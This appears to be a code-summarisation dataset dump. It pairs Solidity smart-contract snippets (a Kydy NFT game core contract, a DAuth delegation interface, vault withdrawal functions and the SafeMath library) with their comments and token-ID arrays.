withdraw * the balance from the contract. */ contract KydyCore is KydyMinting { // This is the main Kydy contract. To keep the code upgradable and secure, we broke up the code in two different ways. // First, we separated auction and gene combination functions into several sibling contracts. This allows us to securely // fix bugs and upgrade contracts, if necessary. Please note that while we try to make most code open source, // some code regarding gene combination is not open-source to make it more intriguing for users. // However, as always, advanced users will be able to figure out how it works. // // We also break the core function into a few files, having one contract for each of the major functionalities of the Dyverse. // The breakdown is as follows: // // - KydyBase: This contract defines the most fundamental core functionalities, including data storage and management. // // - KydyAccessControl: This contract manages the roles, addresses and constraints for CEO, CFO and COO. // // - KydyOwnership: This contract provides the methods required for basic non-fungible token transactions. // // - KydySynthesis: This contract contains how new baby Kydy is created via a process called the Synthesis. // // - KydyAuction: This contract manages auction creation and bidding. // // - KydyMinting: This contract defines how we create new Generation 0 Kydys. There is a limit of 8,888 Gen 0 Kydys. // Upgraded version of the core contract. // Should be used when the core contract is broken and an upgrade is required. address public newContractAddress; /// @notice Creates the main Kydy smart contract instance. constructor() public { // Starts with the contract is paused. paused = true; // The creator of the contract is the initial CEO ceoAddress = msg.sender; // Starts with the Kydy ID 0 which is invalid one. // So we don't have generation-0 parent issues. _createKydy(0, 0, 0, uint256(-1), address(0)); } /** * @dev Used to mark the smart contract as upgraded when an upgrade happens. * @param _v2Address Upgraded version of the core contract. */ function setNewAddress(address _v2Address) external onlyCEO whenPaused { // We'll announce if the upgrade is needed. newContractAddress = _v2Address; emit ContractUpgrade(_v2Address); } /** * @dev Rejects all Ether being sent from unregistered addresses, so that users don't accidentally end us Ether. */ function() external payable { require( msg.sender == address(saleAuction) || msg.sender == address(synthesizingAuction) ); } /** * @notice Returns all info about a given Kydy. * @param _id ID of the Kydy you are enquiring about. */ function getKydy(uint256 _id) external view returns ( bool isCreating, bool isReady, uint256 rechargeIndex, uint256 nextActionAt, uint256 synthesizingWithId, uint256 createdTime, uint256 yinId, uint256 yangId, uint256 generation, uint256 genes ) { Kydy storage kyd = kydys[_id]; // If this is setted to 0 then it's not at creating mode. isCreating = (kyd.synthesizingWithId != 0); isReady = (kyd.rechargeEndBlock <= block.number); rechargeIndex = uint256(kyd.rechargeIndex); nextActionAt = uint256(kyd.rechargeEndBlock); synthesizingWithId = uint256(kyd.synthesizingWithId); createdTime = uint256(kyd.createdTime); yinId = uint256(kyd.yinId); yangId = uint256(kyd.yangId); generation = uint256(kyd.generation); genes = kyd.genes; } /** * @dev Overrides unpause() to make sure that all external contract addresses are set before unpause. * @notice This should be public rather than external. */ function unpause() public onlyCEO whenPaused { require(saleAuction != address(0)); require(synthesizingAuction != address(0)); require(geneSynthesis != address(0)); require(newContractAddress == address(0)); // Now the contract actually unpauses. super.unpause(); } /// @dev CFO can withdraw the balance available from the contract. function withdrawBalance() external onlyCFO { uint256 balance = address(this).balance; // Subtracts all creation fees needed to be given to the bringKydyHome() callers, // and plus 1 of margin. uint256 subtractFees = (creatingKydys + 1) * autoCreationFee; if (balance > subtractFees) { cfoAddress.transfer(balance - subtractFees); } } /// @dev Sets new tokenURI API for token metadata. function setNewTokenURI(string _newTokenURI) external onlyCLevel { tokenURIBase = _newTokenURI; } // An address of Kydy Travel Plugin. KydyTravelInterface public travelCore; /** * @dev Adds the Kydy Travel Plugin contract to the Kydy Core contract. * @notice We have a plan to add some fun features to the Dyverse. * Your Kydy will travel all over our world while you carry on with your life. * During their travel, they will earn some valuable coins which will then be given to you. * Please stay tuned! */ function setTravelCore(address _newTravelCore) external onlyCEO whenPaused { travelCore = KydyTravelInterface(_newTravelCore); } }
* @notice Returns all info about a given Kydy. @param _id ID of the Kydy you are enquiring about./ If this is setted to 0 then it's not at creating mode.
function getKydy(uint256 _id) external view returns ( bool isCreating, bool isReady, uint256 rechargeIndex, uint256 nextActionAt, uint256 synthesizingWithId, uint256 createdTime, uint256 yinId, uint256 yangId, uint256 generation, uint256 genes ) { Kydy storage kyd = kydys[_id]; isCreating = (kyd.synthesizingWithId != 0); isReady = (kyd.rechargeEndBlock <= block.number); rechargeIndex = uint256(kyd.rechargeIndex); nextActionAt = uint256(kyd.rechargeEndBlock); synthesizingWithId = uint256(kyd.synthesizingWithId); createdTime = uint256(kyd.createdTime); yinId = uint256(kyd.yinId); yangId = uint256(kyd.yangId); generation = uint256(kyd.generation); genes = kyd.genes; }
6,414,276
[ 1, 1356, 777, 1123, 2973, 279, 864, 1475, 93, 15680, 18, 225, 389, 350, 1599, 434, 326, 1475, 93, 15680, 1846, 854, 570, 372, 11256, 2973, 18, 19, 971, 333, 353, 444, 2344, 358, 374, 1508, 518, 1807, 486, 622, 4979, 1965, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 16566, 93, 15680, 12, 11890, 5034, 389, 350, 13, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 1135, 261, 203, 3639, 1426, 353, 11092, 16, 203, 3639, 1426, 353, 8367, 16, 203, 3639, 2254, 5034, 283, 16385, 1016, 16, 203, 3639, 2254, 5034, 1024, 1803, 861, 16, 203, 3639, 2254, 5034, 6194, 7915, 6894, 1190, 548, 16, 203, 3639, 2254, 5034, 2522, 950, 16, 203, 3639, 2254, 5034, 677, 267, 548, 16, 203, 3639, 2254, 5034, 6772, 548, 16, 203, 3639, 2254, 5034, 9377, 16, 203, 3639, 2254, 5034, 11423, 203, 565, 262, 288, 203, 3639, 1475, 93, 15680, 2502, 417, 93, 72, 273, 417, 93, 72, 1900, 63, 67, 350, 15533, 203, 203, 3639, 353, 11092, 273, 261, 18465, 72, 18, 11982, 7915, 6894, 1190, 548, 480, 374, 1769, 203, 3639, 353, 8367, 273, 261, 18465, 72, 18, 266, 16385, 1638, 1768, 1648, 1203, 18, 2696, 1769, 203, 3639, 283, 16385, 1016, 273, 2254, 5034, 12, 18465, 72, 18, 266, 16385, 1016, 1769, 203, 3639, 1024, 1803, 861, 273, 2254, 5034, 12, 18465, 72, 18, 266, 16385, 1638, 1768, 1769, 203, 3639, 6194, 7915, 6894, 1190, 548, 273, 2254, 5034, 12, 18465, 72, 18, 11982, 7915, 6894, 1190, 548, 1769, 203, 3639, 2522, 950, 273, 2254, 5034, 12, 18465, 72, 18, 4824, 950, 1769, 203, 3639, 677, 267, 548, 273, 2254, 5034, 12, 18465, 72, 18, 93, 267, 548, 1769, 203, 3639, 6772, 548, 273, 2254, 5034, 12, 18465, 72, 18, 93, 539, 548, 1769, 203, 3639, 9377, 273, 2254, 5034, 2 ]
./partial_match/1/0x9a50742da823F92575b30dBAE0FcAEF25aE0186f/sources/WithdrawalDelayer.sol
Mapping to keep track of deposits
mapping(bytes32 => DepositState) public deposits;
4,251,228
[ 1, 3233, 358, 3455, 3298, 434, 443, 917, 1282, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 3890, 1578, 516, 4019, 538, 305, 1119, 13, 1071, 443, 917, 1282, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/4/0x7Cf0d157B644C793b0F26a7A84C9071491025B88/sources/contracts/test.sol
@dev Overridden in order to make it an onlyOwner function
function withdrawPayments(address payee) external onlyOwner { require(address(this).balance>0,"no amount can withdraw"); payable(payee).transfer(address(this).balance); }
8,731,155
[ 1, 22042, 2794, 316, 1353, 358, 1221, 518, 392, 1338, 5541, 445, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 23725, 12, 2867, 225, 8843, 1340, 13, 3903, 225, 1338, 5541, 225, 288, 203, 3639, 2583, 12, 2867, 12, 2211, 2934, 12296, 34, 20, 10837, 2135, 3844, 848, 598, 9446, 8863, 203, 3639, 8843, 429, 12, 10239, 1340, 2934, 13866, 12, 2867, 12, 2211, 2934, 12296, 1769, 203, 565, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Abstract contract for the ERC DAuth protocol: Access Delegation Standard * https://github.com/DIA-Network/ERC-DAuth * Author: Xiaoyu Wang <[email protected]> Bicong Wang <[email protected]> */ pragma solidity ^0.4.24; contract DAuthInterface { /* Required AuthInfo: The struct contains user authorization information User can add an AuthInfo to authorize the client contract * - funcNames: a list of function names callable by the granted contract * - expireAt: the authorization expire timestamp in seconds */ struct AuthInfo { string[] funcNames; uint expireAt; } // Required // userAuth maps (authorizer address, grantee contract address) pair to the user’s authorization AuthInfo object mapping(address => mapping(address => AuthInfo)) userAuth; // Required // All methods that are allowed other contracts to call // The callable function MUST verify the grantee’s authorization string[] callableFuncNames; /// Optional /// @notice update the callable function list for the client contract by the resource contract's administrator /// @param _invokes the invoke methods that the client contract can call /// @return Whether the callableFuncNames is updated or not function updateCallableFuncNames(string _invokes) public returns (bool success); /// Required /// @notice check the invoke method authority for the client contract /// @param _authorizer the user address that the client contract agents /// @param _invoke the invoke method that the client contract wants to call /// @return Whether the grantee request is authorized or not function verify(address _authorizer, string _invoke) internal returns (bool success); /// Required /// @notice delegate a client contract to access the user's resource /// @param _grantee the client contract address /// @param _invokes the callabled methods that the client contract can access /// @param _expireAt the authorization expire timestamp in seconds /// @return Whether the grant is successful or not function grant(address _grantee, string _invokes, uint _expireAt) public returns (bool success); /// Optional /// @notice alter a client contract's delegation /// @param _grantee the client contract address /// @param _invokes the callabled methods that the client contract can access /// @param _expireAt the authorization expire timestamp in seconds /// @return Whether the regrant is successful or not function regrant(address _grantee, string _invokes, uint _expireAt) public returns (bool success); /// Required /// @notice delete a client contract's delegation /// @param _grantee the client contract address /// @return Whether the revoke is successful or not function revoke(address _grantee) public returns (bool success); // Required // This event MUST trigger when the authorizer grant a new authorization, when grant or regrant processes successfully event Grant(address _authorizer, address _grantee, string _invokes, uint _expireAt); // Required // This event MUST trigger when the authorizer revoke a specific authorization successfully event Revoke(address _authorizer, address _grantee); }
Required userAuth maps (authorizer address, grantee contract address) pair to the user’s authorization AuthInfo object
mapping(address => mapping(address => AuthInfo)) userAuth;
14,102,576
[ 1, 3705, 729, 1730, 7565, 261, 4161, 1824, 1758, 16, 15889, 22579, 6835, 1758, 13, 3082, 358, 326, 729, 163, 227, 252, 87, 6093, 3123, 966, 733, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 3123, 966, 3719, 729, 1730, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x725c55c85768192be9ce8e91640769B0efA71c2F/sources/contracts/vaults/erc20/strategies/StrategyPETHConvex.sol
@notice Controller only function that allows to withdraw non-strategy tokens (e.g tokens sent accidentally). CVX and CRV can be withdrawn with this function.
function withdraw( address _to, address _asset ) external override onlyRole(STRATEGIST_ROLE) { if (_to == address(0)) revert ZeroAddress(); if (_asset == address(WANT)) revert(); uint256 _balance = IERC20(_asset).balanceOf(address(this)); IERC20(_asset).safeTransfer(_to, _balance); }
3,015,920
[ 1, 2933, 1338, 445, 716, 5360, 358, 598, 9446, 1661, 17, 14914, 2430, 261, 73, 18, 75, 2430, 3271, 25961, 1230, 2934, 385, 58, 60, 471, 6732, 58, 848, 506, 598, 9446, 82, 598, 333, 445, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 12, 203, 3639, 1758, 389, 869, 16, 203, 3639, 1758, 389, 9406, 203, 565, 262, 3903, 3849, 1338, 2996, 12, 3902, 1777, 43, 5511, 67, 16256, 13, 288, 203, 3639, 309, 261, 67, 869, 422, 1758, 12, 20, 3719, 15226, 12744, 1887, 5621, 203, 203, 3639, 309, 261, 67, 9406, 422, 1758, 12, 59, 6856, 3719, 15226, 5621, 203, 203, 3639, 2254, 5034, 389, 12296, 273, 467, 654, 39, 3462, 24899, 9406, 2934, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 467, 654, 39, 3462, 24899, 9406, 2934, 4626, 5912, 24899, 869, 16, 389, 12296, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * 